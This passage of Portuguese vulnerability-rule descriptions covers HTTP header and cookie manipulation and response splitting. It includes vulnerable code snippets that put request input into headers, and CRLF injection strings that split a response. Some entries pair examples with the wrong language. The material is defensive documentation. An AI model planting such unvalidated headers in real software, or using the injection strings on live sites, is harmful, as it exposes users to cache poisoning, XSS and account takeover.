[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.javascript.header_manipulation_cookies
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


<?php
$author = $_GET['AUTHOR_PARAM'];
...
header("author: $author");
?>


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.php.header_manipulation_cookies
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: Este segmento de código lê o local a partir de uma solicitação HTTP e o define como o cabeçalho do campo de localização de uma resposta HTTP.


location = req.field('some_location')
...
response.addHeader("location",location)


Supondo que uma cadeia de caracteres que consiste em caracteres alfanuméricos padrão, como "index.html", seja enviada na solicitação, a resposta HTTP, incluindo este cookie, pode ter a seguinte forma:


HTTP/1.1 200 OK
...
location: index.html
...


No entanto, como o valor da localização é formado por entrada de usuário não validada, a resposta só manterá essa forma se o valor enviado para some_location não tiver nenhum caractere CR e LF. Se um invasor enviar uma cadeia de caracteres mal-intencionada, como "index.html\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas da seguinte forma:


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. No pior dos casos, um invasor pode fornecer conteúdo especialmente concebido a fim de imitar o comportamento do aplicativo, mas, redirecionando informações privadas, como números de conta e senhas para o invasor.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.python.header_manipulation
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation ou open redirect.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a cookie manipulation é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de cookie manipulation também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impedir a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não será vulnerável à HTTP Response Splitting. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Cookie Manipulation ou Open Redirects e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
